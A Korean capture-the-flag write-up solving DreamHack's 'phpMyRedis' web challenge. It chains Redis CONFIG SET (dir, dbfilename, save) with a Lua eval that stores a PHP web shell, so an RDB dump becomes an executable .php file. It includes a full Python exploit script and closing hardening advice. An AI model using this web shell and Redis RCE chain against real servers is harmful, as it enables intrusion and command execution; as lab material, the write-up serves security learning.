[🥈 Silver 1] Redis가 밥 먹듯 남기는 RDB로 웹셸을 굽다 — DreamHack phpMyRedis 풀이

문제: DreamHack — phpMyRedis 분류: Web 난이도: 🥈 Silver 1 FLAG: DH{97c08d732ca9ad65e35c8781ea3178f2d27bd726}

phpMyAdmin의 Redis 버전 같은 관리 도구다. 명령 페이지에서 Redis eval로 Lua 스크립트를 돌리고, config 페이지에서 CONFIG GET/SET을 만질 수 있다. 이 둘을 엮으면 Redis의 고전 기법 — RDB 스냅샷을 웹 루트에 저장해 PHP 웹셸을 만드는 RCE로 이어진다.

문제 개요

flag는 /flag에 있고(Dockerfile), ./data/ 디렉토리는 chmod 777에 웹으로 접근된다(/data/). 남은 건 Redis에게 우리 코드를 그 디렉토리에 PHP 파일로 뱉게 만드는 것이다.

🧩 배경 — Redis eval, CONFIG, 그리고 RDB

세 가지 개념이면 이 문제가 풀린다.

Redis EVAL 은 서버에서 Lua 스크립트를 실행한다. 스크립트 안에서 redis.call(...)로 대부분의 Redis 명령을 부를 수 있다. 다만 Lua는 샌드박스라 io·os 파일 접근이 막혀 있고, SAVE·BGSAVE·CONFIG 같은 관리·비결정적 명령도 스크립트에서 호출하면 거부된다.

CONFIG SET 은 Redis 런타임 설정을 바꾼다. 특히 dir(작업 디렉토리)과 dbfilename(RDB 파일 이름), save(자동 저장 정책)를 바꿀 수 있다.

RDB 는 Redis의 스냅샷 파일이다. SAVE나 자동 저장이 일어나면 현재 모든 키를 dir/dbfilename에 바이너리로 덤프한다. 이 파일에 <?php ... ?> 문자열이 들어 있고, 그 파일이 .php로 웹에서 실행되면 — PHP는 바이너리 잡음은 무시하고 <?php> 블록만 실행한다. 그래서 키 값에 PHP 코드를 넣고 RDB를 웹 루트에 저장하면 웹셸이 된다.

🔬 코드 정찰 — 두 개의 엔드포인트

index.php와 config.php가 각각 하나씩 능력을 준다.

// index.php — Lua eval
$redis->eval($_POST['cmd']);           // 임의 Lua/redis.call (SET 가능)
 
// config.php — CONFIG
$redis->config($_POST['option'], $_POST['key'], $_POST['value']);   // GET/SET

core.php를 보면 Redis는 localhost:6379, PHP 세션도 Redis에 저장된다. 그리고 Dockerfile이 chmod 777 /var/www/html/data/ 하고 flag를 /flag에 둔다. config 페이지는 GET/SET을 고르고 key·value를 넣는 단순한 CONFIG 폼이다.

여기서 갈린다. eval로 SET은 되지만, RDB를 디스크에 쓰는 SAVE·BGSAVE나 설정을 바꾸는 CONFIG는 Lua 스크립트에서 거부된다. 대신 config.php는 CONFIG를 Lua를 거치지 않고 직접 실행하므로 제약이 없다. 실제로 찔러보면 이 경계가 선명하게 드러난다.

eval의 redis.call('config','get','dir')는 false(차단)지만, config.php의 CONFIG GET dir은 값을 그대로 돌려준다. 웹 화면에서도 똑같다.

🐛 삽질 — SAVE를 직접 못 부른다

정리하면, config.php로 저장 위치(dir·dbfilename)와 저장 정책(save)을 바꾸고, eval로 웹셸 키를 넣은 뒤, 변경을 일으켜 자동 저장을 기다린다.

💣 핵심 — RDB를 웹 루트로 돌리고 웹셸을 굽는다

체인은 이렇다.

1. config.php — CONFIG SET dir /var/www/html/data(777·웹 접근), dbfilename poc.php, rdbcompression no(웹셸 조각이 LZF 압축으로 깨지지 않게).
2. config.php — CONFIG SET save "1 1"(1초 1변경 자동 저장).
3. index.php eval — 키 하나에 PHP 웹셸을 넣는다. 인용부호 이스케이프 문제를 피하려고 $_GET[0](따옴표 없는 숫자 키)을 쓴다.

return redis.call("set","x","\n<?php system($_GET[0]); ?>\n")

이 SET이 변경을 일으키고, save "1 1" 정책에 따라 곧 Redis가 모든 키를 /var/www/html/data/poc.php에 RDB로 덤프한다. config.php로 dir이 바뀐 걸 확인할 수 있다.

이제 /data/poc.php는 RDB 바이너리 파일이지만 .php 확장자라 Apache가 실행한다. PHP는 바이너리 잡음을 무시하고 우리가 심은 <?php system($_GET[0]); ?>만 실행한다.

🎯 익스플로잇 — 웹셸로 /flag 실행

/data/poc.php?0=<명령>으로 명령을 실행한다. www-data 권한이다. /flag를 cat 하려 하면 Permission denied — flag는 ---x--x--x(실행 전용) 바이너리다. 읽을 순 없지만 실행할 수 있으니, ?0=/flag로 그냥 돌리면 flag를 출력한다.

RDB 덤프의 잡음 사이, 우리가 심은 키 x 자리에 /flag 실행 결과 DH{...}가 그대로 찍혔다.

🚀 Full Exploit

CONFIG 세팅 → 웹셸 SET → 자동 저장 폴링 → /flag 실행을 한 스크립트로 묶었다. config.php(CONFIG)와 index.php(eval)를 번갈아 쓴다.

import requests, re, time
 
B = "http://host3.dreamhack.games:<port>"
s = requests.Session()
cfg = lambda k, v: s.post(B+"/config.php", data={"option":"SET","key":k,"value":v}, timeout=10)
ev  = lambda c: s.post(B+"/index.php", data={"cmd":c}, timeout=10)
 
for k, v in [("rdbcompression","no"), ("dir","/var/www/html/data"),
             ("dbfilename","poc.php"), ("save","1 1")]:
    cfg(k, v)
ev('return redis.call("set","x","\\n<?php system($_GET[0]); ?>\\n")')   # 웹셸 키
 
# 자동 저장 유도: 매초 변경 -> RDB가 poc.php로 저장될 때까지 폴링
for i in range(12):
    ev(f'return redis.call("set","trg","{int(time.time())}{i}")')
    time.sleep(1.0)
    if b"RCEOK" in s.get(B+"/data/poc.php", params={"0":"echo RCEOK"}, timeout=10).content:
        break
 
# /flag 는 실행 전용 바이너리 -> 실행하면 flag 출력
t = s.get(B+"/data/poc.php", params={"0":"/flag"}, timeout=10).content
print("[+] FLAG:", re.search(rb"DH\{[^}]+\}", t).group(0).decode())

돌리면 자동 저장이 걸린 뒤 flag가 나온다.

[+] /flag 실행 → DH{97c08d732ca9ad65e35c8781ea3178f2d27bd726}

📝 결론

Redis에 임의 명령을 주면 그건 곧 파일 쓰기이고, 파일 쓰기는 곧 RCE다.

eval과 config를 노출한 순간, 공격자는 Redis의 저장 위치를 웹 루트로 돌려 자기 코드를 PHP 파일로 뱉게 할 수 있다. Redis를 인터넷·신뢰 경계에 노출하지 않는 게 먼저고, 불가피하다면 rename-command로 CONFIG·SAVE·EVAL 같은 위험 명령을 막고, protected-mode와 인증을 켜야 한다. 웹 앱이 Redis 명령을 사용자에게 중계하는 이 구조 자체가 위험하다.

"직접 못 부르는 명령"도 정책을 바꾸면 우회된다.

SAVE를 스크립트에서 막았지만, save 설정을 "1초 1변경"으로 바꿔 자동 저장을 유도하니 결국 저장이 일어났다. 특정 명령 하나를 막는 것으론 부족하다 — 그 명령이 하는 일(디스크 쓰기)을 유발하는 다른 경로(CONFIG SET save, dir, dbfilename)까지 함께 통제해야 한다.

읽기 권한을 막아도 실행 권한이 있으면 새어 나간다.

flag를 ---x--x--x로 두어 cat을 막았지만, 실행 비트가 열려 있어 그냥 돌리니 flag가 나왔다. 민감한 값을 담은 파일·바이너리는 필요 최소한의 권한(그리고 웹 서버 계정이 접근 못 하게)으로 두어야 한다.